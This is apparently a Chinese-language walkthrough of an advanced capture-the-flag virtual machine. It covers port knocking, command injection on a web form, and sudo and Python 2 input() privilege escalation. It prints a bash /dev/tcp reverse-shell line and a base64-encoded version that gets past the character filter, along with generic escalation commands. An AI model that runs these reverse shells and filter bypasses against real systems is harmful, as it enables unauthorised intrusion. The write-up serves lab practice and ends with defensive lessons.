本文為系列文章第五篇,難度為高級,本篇涉及到SSH的Knock敲門機制,命令執行漏洞及繞過,python反編譯,python的input漏洞等知識,最好是懂點編程知識,能夠看懂python代碼,這將是通過本篇靶機的1個關鍵,當然信息收集能力仍是你最大的助力。
信息收集
對目標進行端口掃描,探測開放的端口及應用,目標主機開放了21,22,1337,7331端口,其中7331端口為web應用端口。
首先關注到21端口,nmap掃描得知可匿名登錄,所以使用ftp匿名登錄上去發現3個txt文件,都下載到本地查看。從三個文件的信息來看,第1個信息可能是賬戶密碼,第2個提示1337端口有個小游戲,完成了會獲得獎勵,第3個信息是封郵件。通過第2個小游戲,編寫計算代碼贏得獎勵,得知SSH的knock敲門端口。
前面到此先放著,再關注到7331的web端口,使用目錄掃描工具掃描發現兩個可用目錄,分別為/wish和/genie。訪問/wish目錄出現輸入框(execute)和提交按鈕,寓意提交你想執行的東西。那么這里就想到命令執行,輸入id,跳轉到/genie界面,發現執行了id命令。之后通過執行反彈shell的命令去獲取目標權限即可,只不過這里存在字符過濾,需要繞過,可使用base64編碼的形式繞過,最后成功拿到目標第一個權限
提權
拿到服務器權限后一般是低權限賬號,那么就需要提權,通過查看當前目錄下的文件,得知存儲賬戶密碼的文件路徑,找到了一對用戶名密碼。由于當前用戶權限輸入的字符都是double輸入,自然想到通過ssh登錄更方便。結合之前SSH的knock敲門機制,先把22端口敲開,使用找到的賬戶密碼登錄上去拿到nitish用戶權限。之后通過genie的sudo提權拿到sam用戶權限,接著通過yago的sudo執行,有4個選項,任意輸入無果,最后通過反編譯sam目錄下的.pyc文件得知該程序的源碼,利用python的input漏洞成功提權,拿到root權限。
靶機難度:高級
靶機描述:
flags:user.txt and root.txt
Description:The machine is VirtualBox as well as VMWare compatible. The DHCP willassign an IP automatically. Youll see the IP right on the loginscreen. You have to find and read two flags (user and root) which ispresent in user.txt and root.txt respectively.
Format:Virtual Machine (Virtualbox - OVA)
OperatingSystem: Linux
靶機地址:
靶機ip:192.168.1.103
用到的知識點、工具和漏洞:
Nmap:一款開源的端口掃描器,用于端口掃描及服務識別
FTP匿名登錄:FTP的匿名登錄機制,可使用anonymous登錄
Dirsearch:一款目錄掃描工具,與之前介紹的dirbuster都是用作目錄掃描
命令執行及繞過:命令執行漏洞由于代碼未對操作系統命令的參數進行過濾或白名單校驗,導致可執行危險的系統命令。
Knock敲門機制:SSH的安全防護機制,需要訪問設置的3個端口才能開啟22端口
.pyc反編譯:對pyc文件反編譯得到.py源碼文件
主機探測:netdiscover-i eth0 -r 192.168.1.0/24
端口探測及服務識別:nmap-sS -sV -T5 -A -p- 192.168.1.103
當前靶機開放了21,1337和7331端口。這里發現ftp可以匿名登錄,先進去看看有什么文件。
登陸后發現有3個txt文件,都下載到本地看看
從三個文件的信息來看,第1個信息可能是賬戶密碼,第2個提示1337端口有個小游戲,完成了會獲得獎勵,第3個信息是封郵件。來看看1337的游戲是什么,使用telnet訪問看看。
似乎是加減運算,需要計算1000次才能夠完成,看來需要編寫一個腳本去完成這個小游戲。這里使用python寫了1個小程序去跑
運行腳本完成后,得到3個數字。看著像是SSH的Knock敲門機制,需要分別訪問這三個端口,22端口才會開放。
Kali上使用knock命令需先安裝Knockd,我這里已經安裝過了,可使用apt-getinstall knockd進行安裝。之后進行敲門
此時22端口已經開放,之前有發現一對似乎是賬號密碼的信息,拿來嘗試一下
看來不是的,由于沒有賬戶密碼,這里就先放放。從7331的web服務入手
先掃一波目錄,這里用的dirsearch,kali上需要自行從github上下載。這里使用的1個字典SecLists也是從github上下載的
./dirsearch.py -u 192.168.1.103:7331 -e * -w
/root/zidian/SecLists/Discovery/Web-Content/raft-large-directories.txt
解釋一下參數,-u后面接url,-e后面接后綴,代表所有后綴,如php,jsp,html,txt等,-w指定字典。
這里掃出兩個目錄/wish和/genie,訪問一下看看。
看到這個就想到了命令執行,先輸個id試試,果然存在命令執行
試一下反彈shell,bash-i >& /dev/tcp/192.168.1.104/1234 0>&1,kali上使用nc監聽1234端口
出現錯誤,看來是存在過濾。先看看過濾了哪些字符
/,&被過濾了。
那么可以試一下base64編碼繞過,然后使用echo解碼執行,使用下面這條命令
echoYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA0LzEyMzQgMD4mMQ==| base64-d |bash
成功反彈shell。
拿到shell第1件事就是獲取一個標準shell,可通過以下命令獲取
python -c import pty; pty.spawn("/bin/bash")
先看下本目錄下有啥東西
有1個app.py文件,查看一下內容,發現了1個txt文件路徑
查看一下,得到了一組用戶名密碼
前面因為已經開放了22端口,為了更方便的使用shell,越是不在此會話中切換用戶,而是使用SSH登錄上去操作。
拿到nitish的權限,先進入其home目錄下看看
拿到user.txt這個flag
下面需要進行提權,因為剛得到的shell權限較低,得想辦法獲取高權限賬戶,最終獲取root權限。
最后就是如何獲取root權限,有以下幾個思路
Sudo -l 查詢具有sudo權限命令,然后提權
SUID提權,find / -perm -u=s -type f 2>/dev/null
通過在/etc/passwd添加一個root權限的賬戶進行提權
find / -writable -type f 2>/dev/null 查找可利用的可寫文件
內核提權
這里使用sudo-l 查詢有哪些sudo權限命令
這里需通過genie提權,sudo-u sam /usr/bin/genie
這里需要加上參數,我這里使用-p參數進行提權,可是沒有成功
然后使用mangenie看下該命令的使用手冊
依照使用手冊,看來是使用-p,-e或者-cmd參數來執行提權命令
于是又試了一下-e參數,不過還是沒有成功
最后再試了下-cmd參數,成功獲取sam用戶權限,發現-cmd后面參數隨便填都可以
再次使用sudo-l查詢有哪些sudo權限
通過sudo執行,有4個選項,每個都去嘗試了一下,沒啥作用
這樣先去看下sam目錄下有啥東西,找一下是否有其他信息提示
在sam目錄下發現1個.pyc文件,先把它下載到本地,
.pyc文件無法直接查看,需要進行反編譯,這里可以使用python的uncompyle進行反編譯,需要使用pipinstall uncompyle進行安裝
然后使用uncompyle16xxx.pyc >xxx.py進行反編譯
之后打開看看
發現這就是我們執行sudo/root/lago時運行的程序代碼,在我們執行猜數流程時,讓我輸入1-100的數字,當s==num時執行system(‘/bin/sh’),根據此代碼我們輸入num即可提權
至此,我們獲得了root權限,讀取最后一個flag
前面sudo/root/lago提權時的原理是根據python的input函數進行提權,網上搜了一下,這個input函數的漏洞在于,當input函數接收的值為某個已定義的變量時,將等同與此變量。
固這里我們只需輸入sum,該程序即會運行system(‘/bin/sh’)
Knock敲門機制是SSH的1個比較好的安全防護機制,但不要泄露三個敲門端口喲。
涉及的命令執行的代碼需要對參數進行過濾,最好是白名單校驗。
Python的input漏洞存在于python2中,若使用python2的話請記得該漏洞。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://specialneedsforspecialkids.com/yun/130051.html
摘要:本文將分享軟件基本用法及文件進程注冊表查看,這是一款微軟推薦的系統監視工具,功能非常強大可用來檢測惡意軟件。可以幫助使用者對系統中的任何文件注冊表操作進行監視和記錄,通過注冊表和文件讀寫的變化,有效幫助診斷系統故障或發現惡意軟件病毒及木馬。 ...
閱讀 1346·2023-01-11 13:20
閱讀 1684·2023-01-11 13:20
閱讀 1132·2023-01-11 13:20
閱讀 1858·2023-01-11 13:20
閱讀 4100·2023-01-11 13:20
閱讀 2704·2023-01-11 13:20
閱讀 1385·2023-01-11 13:20
閱讀 3597·2023-01-11 13:20